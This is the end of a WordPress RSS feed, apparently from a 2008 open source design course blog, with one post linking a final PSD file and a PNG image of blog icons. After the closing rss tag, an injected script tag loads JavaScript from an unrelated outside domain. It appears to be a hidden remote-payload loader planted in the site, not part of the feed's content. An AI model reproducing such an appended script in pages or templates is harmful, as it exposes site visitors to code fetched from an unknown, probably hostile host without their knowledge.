		<category><![CDATA[icons]]></category>

		<guid isPermaLink="false">http://www.mushon.com/fall08/osd/?p=638</guid>
		<description><![CDATA[Here is the final file]]></description>
			<content:encoded><![CDATA[<p>Here is <a href="http://www.mushon.com/fall08/osd/wp-content/uploads/2008/11/wp_icons_6.psd">the final file</a></p>
<p><a href="http://www.mushon.com/fall08/osd/wp-content/uploads/2008/11/wp_icons_6.png" rel="lightbox[638]"><img class="alignnone size-full wp-image-640" title="wp_icons_6" src="http://www.mushon.com/fall08/osd/wp-content/uploads/2008/11/wp_icons_6.png" alt="" width="422" height="440" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mushon.com/fall08/osd/11/08/i-think-thats-it/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>